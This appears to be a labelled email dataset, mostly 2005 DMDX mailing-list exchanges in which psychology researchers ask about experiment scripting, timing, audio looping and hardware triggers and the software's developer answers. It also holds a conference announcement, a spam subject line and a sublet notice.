75th birthday. The conference will take place in Vienna from June 9 to June 11, 2005. Due to a severe shortage of hotel rooms in Vienna in June, registration until the middle of May is required: Link under http://www.anum.tuwien.ac.at/coscomp2005/ In the technical part of the conference the evolution of scientific computing will be dealt with in retrospect and prospect. Speakers will be Dario Bini, Roland Bulirsch, Rob Corless, Jack Dongarra, Keith Geddes, Karl-Heinz Hoffmann, Linda Petzold, Rolf Rannacher, and Gilbert Strang. Last but not least, there will be an extensive social program: There will be plenty of time to talk with the other participants and to get to know the magnificent town of Vienna. You will enjoy the beautiful surroundings of Vienna during a half-day excursion. After the excursion you will spend the evening at a traditional Heurigen, a rustic-style wine tavern, and feast on hearty snacks washed down with a glass of local wine in an informal and relaxed atmosphere. Yours sincerely, The organizing committee (Winfried Auzinger, Gabriela Schranz-Kirlinger, Christoph Ueberhuber, Ewa Weinmueller). ------------- End Forwarded Message -------------",0,1 C A Ankerstein ,DMDX mailing list ,"Tue, 03 May 2005 15:17:11 +0100",[DMDX] Analyze and 2.0 SD trimming,"Hi All, I'm running analyze and I have no 2.0 SD trimming command in my specification file, however trimming does seem to occur as shown in my .ism files. In a previous query, see link: http://psy1.psych.arizona.edu/cgi-bin/thread?message=1923726 it was suggested that trimming is done by default. I would like to have only high and low cut-off values rather than trimming---is there anyway not to trim the data? Here is my .spc file specifications: discard_display_errors low_cutoff: 250 high_cutoff: 2000 Here is a sample from my .ism file output: SUBJECT %ERRORS MEAN S.D. SD/MEAN 2.0-SD MISSING CUTOFF DISPLAY 1 2 498.9 89.6 0.18 15 0 0 0 2 6 442.9 88.3 0.20 9 0 0 0 3 4 490.6 81.4 0.17 13 0 0 0 Thanks, Carrie Ankerstein -- Carrie Ankerstein Department of Human Communication Sciences University of Sheffield 31 Claremont Crescent Sheffield S10 2TA United Kingdom phone: (0) 114 22 22412 email: hcp02caa@sheffield.ac.uk ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 03 May 2005 08:11:43 -0700",[DMDX] Re: Analyze and 2.0 SD trimming,"At 03:17 PM 5/3/2005 +0100, you wrote: >Hi All, > >I'm running analyze and I have no 2.0 SD trimming command in my specification >file, however trimming does seem to occur as shown in my .ism files. In a >previous query, see link: >http://psy1.psych.arizona.edu/cgi-bin/thread?message=1923726 it was suggested >that trimming is done by default. I would like to have only high and low >cut-off values rather than trimming---is there anyway not to trim the data? Set the data_threshold to something absurdly large like 100. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""As an adolescent I aspired to lasting fame, I craved factual certainty, and I thirsted for a meaningful vision of human life -- so I became a scientist. This is like becoming an archbishop so you can meet girls."" - Matt Cartmill ",0,1 Pablo Barttfeld ,DMDX@psy1.psych.arizona.edu,"Thu, 05 May 2005 10:45:16 -0300",[DMDX] loading pictures,"Hi everyone! I’m trying to use DMDX to run an experiment about priming and image categorization. My problem is that I need to show on screen two bitmap files of 5 Kb each, titillating at 32 ms. (1 tic one of them, 1 tic the other, and so on) I guess that the loading time of a picture every 16 ms would decrease the real frequency. How could I get the right frequency or at least one as close as possible? Thanks. Pablo. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 05 May 2005 08:17:32 -0700",[DMDX] Re: loading pictures,"At 10:45 AM 5/5/2005 -0300, you wrote: >Hi everyone! > >I'm trying to use DMDX to run an experiment about priming and image >categorization. My problem is that I need to show on screen two bitmap >files of 5 Kb each, titillating at 32 ms. (1 tic one of them, 1 tic the >other, and so on) > >I guess that the loading time of a picture every 16 ms would decrease the >real frequency. How could I get the right frequency or at least one as >close as possible? Use the keyword. You will have to decide how many times you want the sequence repeated but you can do it within the capabilities of your machine. 1 %1 g ""display1"" / %1 g ""display2"" / ; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""As an adolescent I aspired to lasting fame, I craved factual certainty, and I thirsted for a meaningful vision of human life -- so I became a scientist. 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""linea1"" %200 /; In this case i want to clear the last screen (""linea 1"" and ""linea 2"") immediatly after the subject's response and to the feedback to appear. Sincerely, Pablo Galeano --------------------------------- A tu celular ¿no le falta algo? Usá Yahoo! Messenger y Correo Yahoo! en tu teléfono celular. Más información aquí.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sat, 07 May 2005 21:50:48 -0700",[DMDX] Re: Pablo Galeano,"At 10:19 PM 5/7/2005 -0300, you wrote: >How could i clear the stimulus in the screen immediatly after the >subject's response? > >e.g.: the next is one item of the experiment > >+001 / """" %60 / > ""hz900"" / """" %60 / ""cuadrado"" %60 / """" %150 / > ""linea2"" / * ! ""linea1"" %200 /; > >In this case i want to clear the last screen (""linea 1"" and ""linea 2"") >immediatly after > >the subject's response and to the feedback to appear. Take out the keywords for a start, it's not doing what you might think it's doing. Assuming you want linea1 left on the screen till the response take out the slash before the semicolon. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""As an adolescent I aspired to lasting fame, I craved factual certainty, and I thirsted for a meaningful vision of human life -- so I became a scientist. This is like becoming an archbishop so you can meet girls."" - Matt Cartmill",0,0 Pablo Galeano ,DMDX@psy1.psych.arizona.edu,"Sun, 08 May 2005 10:58:05 -0300",[DMDX] Re: Pablo Galeano,"Thanks you very much. That was just what a needed. Now it works perfectly Sincerely, Pablo Galeano ""j.c.f."" escribió: At 10:19 PM 5/7/2005 -0300, you wrote: >How could i clear the stimulus in the screen immediatly after the >subject's response? > >e.g.: the next is one item of the experiment > >+001 / """" %60 / > ""hz900"" / """" %60 / ""cuadrado"" %60 / """" %150 / > ""linea2"" / * ! ""linea1"" %200 /; > >In this case i want to clear the last screen (""linea 1"" and ""linea 2"") >immediatly after > >the subject's response and to the feedback to appear. Take out the keywords for a start, it's not doing what you might think it's doing. Assuming you want linea1 left on the screen till the response take out the slash before the semicolon. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""As an adolescent I aspired to lasting fame, I craved factual certainty, and I thirsted for a meaningful vision of human life -- so I became a scientist. This is like becoming an archbishop so you can meet girls."" - Matt Cartmill ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. 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MaryAnn Riggs Newburg WI -- -------------------------- MaryAnn Riggs I&MT Data Administration UW-Milwaukee Cunningham 147C Milwaukee WI 53201 mar@uwm.edu voice: 414.229.6502",0,1 Alberto Yorio ,DMDX@psy1.psych.arizona.edu,"Tue, 10 May 2005 11:41:21 -0700",[DMDX] DMDX and output signals,"Hello, I need to send an electrical signal from one pc to another (the latter with an input EEG card), for ERP experiment using a DMDX program. In the past (when i didn�t know DMDX), i used the parallel port as an ouput device with an Qbasic instruction. I �have read that it is not possible with DMDX, and that a parallel interface card (PIO card), is neccesary to sen output signals. Is it truth? Is it necesary to only send an electric change each time that an event happens? In that case, which is the PIO card recomended to a desktop-pc Pentium IV (Window XP)? Thank�s you in advance --------------------------------- Yahoo! Mail Mobile Take Yahoo! Mail with you! Check email on your mobile phone.",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 10 May 2005 13:06:48 -0700",[DMDX] Re: DMDX and output signals,"At 11:41 AM 5/10/2005 -0700, you wrote: >Hello, >I need to send an electrical signal from one pc to another (the latter >with an input EEG card), for ERP experiment using a DMDX program. > >In the past (when i didn´t know DMDX), i used the parallel port as an >ouput device with an Qbasic instruction. I ´have read that it is not >possible with DMDX, and that a parallel interface card (PIO card), is >neccesary to sen output signals. Is it truth? Yes, you need a PIO card. > Is it necesary to only send an electric change each time that an event > happens? Any signal is going to need a PIO. >In that case, which is the PIO card recomended to a desktop-pc Pentium IV >(Window XP)? The one I always recommend: PCI-DIO24 24-Bit PCI-bus Compatible, Logic Level Digital I/O Board $89.00 http://www.measurementcomputing.com/cbicatalog/cbiproduct.asp?dept%5Fid=142&pf%5Fid=821&mscssid=VDB23JEDJF738J812T6KLPXRTGGJE3F4 /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Common sense and a sense of humor are the same thing, moving at different speeds. A sense of humor is just common sense, dancing. - Clive James ",0,1 Alberto Yorio ,DMDX@psy1.psych.arizona.edu,"Thu, 12 May 2005 05:45:45 -0700",[DMDX] Re: DMDX and output signals,"Dear Jonathan C. Forster Thanks you very much ""Jonathan C. Forster"" wrote: At 11:41 AM 5/10/2005 -0700, you wrote: >Hello, >I need to send an electrical signal from one pc to another (the latter >with an input EEG card), for ERP experiment using a DMDX program. > >In the past (when i didn�t know DMDX), i used the parallel port as an >ouput device with an Qbasic instruction. I �have read that it is not >possible with DMDX, and that a parallel interface card (PIO card), is >neccesary to sen output signals. Is it truth? Yes, you need a PIO card. > Is it necesary to only send an electric change each time that an event > happens? Any signal is going to need a PIO. >In that case, which is the PIO card recomended to a desktop-pc Pentium IV >(Window XP)? The one I always recommend: PCI-DIO24 24-Bit PCI-bus Compatible, Logic Level Digital I/O Board $89.00 http://www.measurementcomputing.com/cbicatalog/cbiproduct.asp?dept%5Fid=142&pf%5Fid=821&mscssid=VDB23JEDJF738J812T6KLPXRTGGJE3F4 /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Common sense and a sense of humor are the same thing, moving at different speeds. A sense of humor is just common sense, dancing. - Clive James ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== --------------------------------- Yahoo! Mail Stay connected, organized, and protected. Take the tour",0,1 Alberto Yorio ,DMDX@psy1.psych.arizona.edu,"Thu, 12 May 2005 10:52:12 -0700",[DMDX] Re: DMDX and output signals,"Dear Jonathan Forster Thanks you very much ""Jonathan C. Forster"" wrote: At 11:41 AM 5/10/2005 -0700, you wrote: >Hello, >I need to send an electrical signal from one pc to another (the latter >with an input EEG card), for ERP experiment using a DMDX program. > >In the past (when i didn�t know DMDX), i used the parallel port as an >ouput device with an Qbasic instruction. I �have read that it is not >possible with DMDX, and that a parallel interface card (PIO card), is >neccesary to sen output signals. Is it truth? Yes, you need a PIO card. > Is it necesary to only send an electric change each time that an event > happens? Any signal is going to need a PIO. >In that case, which is the PIO card recomended to a desktop-pc Pentium IV >(Window XP)? The one I always recommend: PCI-DIO24 24-Bit PCI-bus Compatible, Logic Level Digital I/O Board $89.00 http://www.measurementcomputing.com/cbicatalog/cbiproduct.asp?dept%5Fid=142&pf%5Fid=821&mscssid=VDB23JEDJF738J812T6KLPXRTGGJE3F4 /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Common sense and a sense of humor are the same thing, moving at different speeds. A sense of humor is just common sense, dancing. - Clive James ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== --------------------------------- Yahoo! Mail Mobile Take Yahoo! Mail with you! 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You know, blindman can't see the FEEDBACK on the screen, and It's unsuitable to use auditory feedback. So, I think If blindman made a fault, the program will stop there,when blind subjects find this, they will know that they have made a fualt. How can I do this? Please tell me, thank you very much. $ 0 ""Start""; 250/; $ +1 ""+""/ ""550""/!/ * ""5500""; +2 ""+""/ ""550""/!/ * ""5500""; +3 ""+""/ ""850""/!/ *""8500""; +4 ""+""/ ""850""/!/ *""8500""; $ 0 ""End""; $ -------------------------------------------------- Greed is good or not?",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Sun, 15 May 2005 12:21:44 -0700",[DMDX] Re: Feedback to blindman.,"You can make your end item some unique item number, like 9999 and tell DMDX to branch there if the subject makes a mistake with in every item: +1 ""+""/ ""550""/!/ * ""5500"" ; +2 ""+""/ ""550""/!/ * ""5500"" ; +3 ""+""/ ""850""/!/ *""8500"" ; +4 ""+""/ ""850""/!/ *""8500"" ; $ 9999 ""End""; $ If you want to make it stop till they hit a key then you make a routine that maps the request to some other key and waits till they hit it. 0 ""Start"" ; ~999 ; 0 ""wrong""; ~1 ; 250/; $ +1 ""+""/ ""550""/!/ * ""5500"" ; +2 ""+""/ ""550""/!/ * ""5500"" ; +3 ""+""/ ""850""/!/ *""8500"" ; +4 ""+""/ ""850""/!/ *""8500"" ; At 11:21 PM 5/15/2005 +0800, you wrote: >Hello everyone, > > I've made a program of auditory Inhibition of Return (IOR). Now, I > want to put >it to the blindman. You know, blindman can't see the FEEDBACK on the >screen, and >It's unsuitable to use auditory feedback. So, I think If blindman made a >fault, >the program will stop there,when blind subjects find this, they will know that >they have made a fualt. How can I do this? Please tell me, thank you very >much. > > > > > > 640,480,480,8,0> > > > >$ >0 ""Start""; >250/; >$ >+1 >1000> > >""+""/ ""550""/!/ * ""5500""; >+2 >1000> > >""+""/ ""550""/!/ * ""5500""; >+3 >1000> > >""+""/ ""850""/!/ *""8500""; >+4 >1000> > >""+""/ ""850""/!/ *""8500""; > >$ >0 ""End""; >$ > > > > >-------------------------------------------------- >Greed is good or not? >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ To iterate is human, to recurse, divine.",0,1 """Enfield, Kent"" ","""Cullion, Rebecca"" ","Tue, 17 May 2005 14:58:13 -0700",Image,"Here it is. It shows the geometric constraints (terminal branch spacing between 1.5 and 2.5 and internal branch spacing greater than 1.5) for a 20 mm radius disk with N=4 branching levels. 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The wav file has to be repeated in such a way that there are no gaps between successive presentations and the listener gets the impression of a continuous auditory stimulus. My problem is that when i use a multi-way branch keyword and a counter to loop through the wav file until a response is input, the repetitions of the audio file are not heard as continous: n4 g1 0 "" item 1: how many sounds can you hear?"" ; +10 * “file1” c; 20 ; 30 “next item”; 0 "" item 2: how many sounds can you hear?"" ; +11 * “file2” c; 21 ; 31 “next item”; 0 “End”; Then I considered using the ""again"" keyword, but i can't figure out how one would stop the repetitions when a response is input and move onto the next item. 0 “item1: how many sounds can you hear?”; +10 * “file1” /; 30 “next item”; 0 “item2: how many sounds can you hear?”; +11 * “file2” /; 31 “next item”; 0 “End”; Any ideas on how i could do this? Thanks in advance Ranmalee Ranmalee Eramudugolla Department of Psychology Faculty of Medicine, Nursing and Health Sciences Monash University Clayton Campus VIC 3800 AUSTRALIA Ranmalee Eramudugolla Department of Psychology Faculty of Medicine, Nursing and Health Sciences Monash University Clayton Campus VIC 3800 Phone: 9905 6559 Mobile: 0421 643124",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 26 May 2005 17:32:21 -0700",[DMDX] Re: conditional repetition of audio files,"At 09:56 AM 5/27/2005 +1000, you wrote: >Hi all, > >I'm trying to run an auditory experiment where the listener is >repeatedly presented with a 5 s wav file until he/she enters a number, >after >which DMDX is supposed to branch onto the next item. The wav file has >to >be repeated in such a way that there are no gaps between successive >presentations and the listener gets the impression of a continuous >auditory stimulus. Don't think that can be done, there's code in there that specifically waits till any audio is done playing before proceeding to the next item. >My problem is that when i use a multi-way branch keyword and a counter >to loop through the wav file until a response is input, the >repetitions >of the audio file are not heard as continous: Gaps between items are part of DMDX, I doubt there's a solution. Doubly so if you are gathering input. >Then I considered using the ""again"" keyword, but i can't figure out >how >one would stop the repetitions when a response is input and move onto >the next item. That would be impressive if it worked but I certainly didn't have audio in mind when was designed because audio capabilities didn't exist then. And I'm pretty sure I didn't think of when I added the audio capabilities. >Any ideas on how i could do this? If you can get DMDX to loop with your audio appearing to be continuous then you're halfway there. The only thing I can see that might facilitate this would be using on you audio frames so DMDX never reads the file beyond it's first occurence. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ To iterate is human, to recurse, divine.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 26 May 2005 17:55:43 -0700",[DMDX] Re: conditional repetition of audio files," Another thing might be to reduce your timeout a bit, if it's right at 5000ms and the audio is exactly 5000ms or shorter then DMDX will be processing response stuff when it could be waiting for audio to finish. But I'm betting you'll always have two or more ticks of silence between each item. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ To iterate is human, to recurse, divine. ",0,0 """Rubbers U. Drawback"" ",Bait ,"Thu, 26 May 2005 10:58:30 -0400",save 90%%% on watches! visit replica store!,"REPLICA //ATCHES BAZAAR! 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The subject presses ""A"" if the arrow points to the left, ""K"" if the arrow points to the right and does nothing if they see anything else. The display time is approximately 50ms The response is accepted for 500ms The inter stimulus interval varies between 750 and 1500 ms I'm using an 800X600 display, JPG graphics (I know BMP would probably be faster) with about 100ms delay after each item to allow time to load the next image. I have feedback on but will probably turn it off with a in the header for the final version. TimeDX says I have a 11.773ms refresh interval on the current machine. The second blank part of each item is to give the correct (and varied) ISI of 75-1500ms. ! tick 11.773ms, fd 4 = 47ms, d 8 = 94ms ! ISI : 594 + blank, require 750 - 1500ms ! shortest 594 + 14 tick = 759ms ! longest 594 + 76 = 1488ms 0 ""Press the SPACE when ready""; 0 <%ms 30> ""Ready"" ; 0 <%ms 150> ""3"" ; 0 <%ms 150> ""2"" ; 0 <%ms 150> ""1"" ; 0 <%ms 30> ""Go"" ; +100 * g""right.jpg""/ <% 76> """" /; -101 * g""left.jpg""/ <% 76> """" /; ^102 * g""square.jpg""/ <% 14> """" /; -103 * g""left.jpg""/ <% 44> """" /; ^104 * g""square.jpg""/ <% 76> """" /; -103 * g""right.jpg""/ <% 76> """" /; --and on for 50 items-- 0 <%ms 500> ""Done"" l ; If I have this completely wrong please say, I not sure I have the 'concept' of a DMDX trial right. As the display time is so short I'm worried a small error could through things off and I'd never know. After reading the help ""Timing notes"" and some web pages I'm actually less sure I have it right. Thanks in advance Peter Peter Straffon p.straffon@psych.unimelb.edu.au School of Behavioural Science Phone +61(3) 83447773 The University Of Melbourne AUSTRALIA.",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 01 Jun 2005 08:23:00 -0700",[DMDX] Re: Does this do what I think?,"Looks pretty good to me. At 05:42 PM 6/1/2005 +1000, you wrote: >Hi all, > I'm not a very regular DMDX user so I'm not sure I have this > correct. I would appreciate it if some kind person more experienced > would like to assure me I have it right or tell me I have it wrong. > >I am setting up an experiment that has the subject respond to a left or >right arrow on a black background. The subject presses ""A"" if the arrow >points to the left, ""K"" if the arrow points to the right and does nothing >if they see anything else. > >The display time is approximately 50ms >The response is accepted for 500ms >The inter stimulus interval varies between 750 and 1500 ms > >I'm using an 800X600 display, JPG graphics (I know BMP would probably be >faster) with about 100ms delay after each item to allow time to load the >next image. I have feedback on but will probably turn it off with a >in the header for the final version. TimeDX says I have a 11.773ms >refresh interval on the current machine. The second blank part of each >item is to give the correct (and varied) ISI of 75-1500ms. > > > 255255255> > >! tick 11.773ms, fd 4 = 47ms, d 8 = 94ms <--------- >! ISI : 594 + blank, require 750 - 1500ms <--------- you probably want semi colons here >! shortest 594 + 14 tick = 759ms <--------- >! longest 594 + 76 = 1488ms <--------- > >0 ""Press the SPACE when ready""; >0 <%ms 30> ""Ready"" ; >0 <%ms 150> ""3"" ; >0 <%ms 150> ""2"" ; >0 <%ms 150> ""1"" ; >0 <%ms 30> ""Go"" ; > >+100 * g""right.jpg""/ <% 76> """" /; >-101 * g""left.jpg""/ <% 76> """" /; >^102 * g""square.jpg""/ <% 14> """" /; >-103 * g""left.jpg""/ <% 44> """" /; >^104 * g""square.jpg""/ <% 76> """" /; >-103 * g""right.jpg""/ <% 76> """" /; >--and on for 50 items-- > >0 <%ms 500> ""Done"" l ; > >If I have this completely wrong please say, I not sure I have the >'concept' of a DMDX trial right. As the display time is so short I'm >worried a small error could through things off and I'd never know. After >reading the help ""Timing notes"" and some web pages I'm actually less sure >I have it right. > >Thanks in advance >Peter > > Peter Straffon p.straffon@psych.unimelb.edu.au > School of Behavioural Science Phone +61(3) 83447773 > The University Of Melbourne AUSTRALIA. > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ To iterate is human, to recurse, divine.",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 01 Jun 2005 16:35:57 -0700",[DMDX] Re: Does this do what I think?,"At 08:56 AM 6/2/2005 +1000, you wrote: >Dear Jonathan, > Thank you for the reassurance. I'm a little unclear why I need > semi colons in comment lines. Is this just a matter of convention or is > it for some other reason? Without the semicolons the next item will become part of the comment, you won't ever see the Press the SPACE when ready. Comments don't end with a physical end of line. ! tick 11.773ms, fd 4 = 47ms, d 8 = 94ms ! ISI : 594 + blank, require 750 - 1500ms ! shortest 594 + 14 tick = 759ms ! longest 594 + 76 = 1488ms 0 ""Press the SPACE when ready""; /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There has never been an intelligent person of the age of sixty who would consent to live his life over again. His or anyone else's. - Mark Twain Letters from the Earth ",0,0 Ranmalee Rathnadiwakara Eramudugolla ,DMDX@psy1.psych.arizona.edu,"Thu, 02 Jun 2005 11:01:23 +1000",[DMDX] Re: looping audio,"Hi, I tried some of your suggestions, but as you expected, i was not able to eliminate the gaps between successive presentations of the wav files. I think my problem might be solved if there was a looping modifier for wav files and a keyword that cancelled this whenever the listner responds. Thanks, Ranmalee Ranmalee Eramudugolla Department of Psychology Faculty of Medicine, Nursing and Health Sciences Monash University Clayton Campus VIC 3800 Phone: 9905 6559 Mobile: 0421 643124 ----- Original Message ----- From: ""j.c.f."" Date: Saturday, May 28, 2005 10:39 pm Subject: [DMDX] looping audio > > It occurs to me that I've had a request or two for looping > background > audio in DMDX around here, each time the problem has been solved > easily by > other means however I can see the need arising for it in the > future. This > would be implemented with a looping audio command that I'm > reasonably sure > exists in DirectSound (haven't checked yet), that is a frame > would > have a modifier that makes it play continually. The question > becomes more > interesting in how that background undergoes change, the easy way > and > therefore the likely route I would take would be to have some > keyword that > cancels all looping audio when the item is parsed and then when > the item > executes another would be played with the looping option -- > meaning > there would be a gap between them. Is this acceptable for the > recent audio > query? > /""\\ > -jonathan (j.c.f.) \\ / > X > ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ > > To iterate is human, to recurse, divine. > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== >",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Wed, 01 Jun 2005 18:35:06 -0700",[DMDX] Re: looping audio,"At 11:01 AM 6/2/2005 +1000, you wrote: >Hi, > >I tried some of your suggestions, but as you expected, i was not able >to eliminate the gaps between successive presentations of the wav >files. I think my problem might be solved if there was a looping >modifier for wav files and a keyword that cancelled this whenever the >listner responds. It would be cancelled by a keyword you'd include in the item after the response is given, whether that gives feedback as well is up to you but I try and make any functionality I build into DMDX as general purpose as possible so it's highly unlikely that I'd make an audio command cancelled by a response. I've looked at the code and of course it's more complicated than it might otherwise be but I'm fairly sure I'll be doing it sometime soon. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ To iterate is human, to recurse, divine. ",0,0 Eugen Tarnow ,DMDX@psy1.psych.arizona.edu,"Thu, 02 Jun 2005 12:55:11 -0400",[DMDX] White background and grey text best combo?,"I am trying out a reaction time experiment on myself first and believe that the default white screen and grey background makes me lose focus - is that the best combination to use? Thank you very much. Eugen Tarnow",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 02 Jun 2005 10:15:46 -0700",[DMDX] Re: White background and grey text best combo?,"At 12:55 PM 6/2/2005 -0400, you wrote: >I am trying out a reaction time experiment on myself first and believe >that the default white screen and grey background makes me lose focus - is >that the best combination to use? The default is actually black text on a white background, perhaps your item file has changed the default colors? /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ RHADOMANCER, n. One who uses a divining-rod in prospecting for precious metals in the pocket of a fool. - Ambrose Bierce The Devil's Dictionary ",0,0 Eugen Tarnow ,DMDX@psy1.psych.arizona.edu,"Thu, 02 Jun 2005 16:20:31 -0400",[DMDX] Re: White background and grey text best combo?,"Hi, Jonathan. I am using a laptop with a big screen - that may be what does it. Is black on white the default for psych experiments? I am doing my first one and feel myself getting ""hypnotized"" after a while. Thank you very much. Eugen Tarnow ""Jonathan C. Forster"" Sent by: DMDX-owner@psy1.psych.arizona.edu 06/02/2005 01:15 PM Please respond to DMDX To: DMDX@psy1.psych.arizona.edu cc: Subject: [DMDX] Re: White background and grey text best combo? At 12:55 PM 6/2/2005 -0400, you wrote: I am trying out a reaction time experiment on myself first and believe that the default white screen and grey background makes me lose focus - is that the best combination to use? The default is actually black text on a white background, perhaps your item file has changed the default colors? /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ RHADOMANCER, n. One who uses a divining-rod in prospecting for precious metals in the pocket of a fool. - Ambrose Bierce The Devil's Dictionary",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 02 Jun 2005 14:13:06 -0700",[DMDX] Re: White background and grey text best combo?,"At 04:20 PM 6/2/2005 -0400, you wrote: >Hi, Jonathan. > >I am using a laptop with a big screen - that may be what does it. Is >black on white the default for psych experiments? It's the standard for computer displays these days. > I am doing my first one and feel myself getting ""hypnotized"" after a while. You could try different colors but the reasons behind using different colors for a display have to do with masked priming and persistence of the display. My guess is that the display is 60Hz (because that's what an LCD typically likes) and the monitor's flickering from it's rapidly decaying phosphors is causing your problems. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It now takes twice as much money to live beyond your means as it used to. ",0,0 Eugen Tarnow ,DMDX@psy1.psych.arizona.edu,"Thu, 02 Jun 2005 17:58:07 -0400",[DMDX] Re: White background and grey text best combo?,"The display is indeed 60HZ. It is a TFT - should I use a CRT instead? Thank you very much. Eugen Tarnow etarnow@reducemail.com Avalon Business Systems 1 877 210 6002 x423 (from within the US) 1 646 825 9080 x423 (from outside the US) 67 Wall Street, 22nd Floor New York, NY 10005 http://reducemail.com ""Jonathan C. Forster"" Sent by: DMDX-owner@psy1.psych.arizona.edu 06/02/2005 05:13 PM Please respond to DMDX To: DMDX@psy1.psych.arizona.edu cc: Subject: [DMDX] Re: White background and grey text best combo? At 04:20 PM 6/2/2005 -0400, you wrote: Hi, Jonathan. I am using a laptop with a big screen - that may be what does it. Is black on white the default for psych experiments? It's the standard for computer displays these days. I am doing my first one and feel myself getting ""hypnotized"" after a while. You could try different colors but the reasons behind using different colors for a display have to do with masked priming and persistence of the display. My guess is that the display is 60Hz (because that's what an LCD typically likes) and the monitor's flickering from it's rapidly decaying phosphors is causing your problems. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It now takes twice as much money to live beyond your means as it used to.",0,1 """Nicholas J.S. Gibson"" ",DMDX@psy1.psych.arizona.edu,"Thu, 02 Jun 2005 23:45:24 +0100",[DMDX] Re: White background and grey text best combo?,"> At 04:20 PM 6/2/2005 -0400, you wrote: > > > I am using a laptop with a big screen - that may be what does it. Is > > black on white the default for psych experiments? It's certainly not what I use -- I use a black background with pale blue letters, which I find much easier to read. Changing your text colour and background colour is unlikely to throw your experiment, so I'd pick something that you (and two or three of your colleagues, if you are worried) are happy to look at! Nicholas Gibson -- Psychology and Religion Research Programme Faculty of Divinity, University of Cambridge West Road, Cambridge, CB3 9BS, UK tel +44 (0)1223 763010 · fax +44 (0)1223 763003 http://www.divinity.cam.ac.uk/pcp/personnel/nicholas.html",0,1 Angela Reid ,economicsbb@columbia.edu,"Thu, 02 Jun 2005 16:42:12 -0400",Fwd: Faculty Sublet available," > > >Sublet available: Large 3-bedroom, 2-bathroom apartment on Claremont >avenue, newly renovated, with dishwasher and washer-dryer. Quiet and safe >building, very close to Columbia campus. Available late June 2005 to end >June 2006. Long-term tenant preferred. Rent ca. 3,000/month (depending on >2005 rent increase) and utilities. >Contact: mv1@columbia.edu ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 02 Jun 2005 16:51:31 -0700",[DMDX] Re: White background and grey text best combo?,"At 05:58 PM 6/2/2005 -0400, you wrote: >The display is indeed 60HZ. It is a TFT - should I use a CRT instead? No, I'd say a TFT is more preferable. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ It now takes twice as much money to live beyond your means as it used to. ",0,0 Eugen Tarnow ,DMDX@psy1.psych.arizona.edu,"Thu, 02 Jun 2005 20:42:17 -0400",[DMDX] Re: White background and grey text best combo?,"Should I try to increase the refresh rate? Thank you very much. Eugen Tarnow etarnow@reducemail.com Avalon Business Systems 1 877 210 6002 x423 (from within the US) 1 646 825 9080 x423 (from 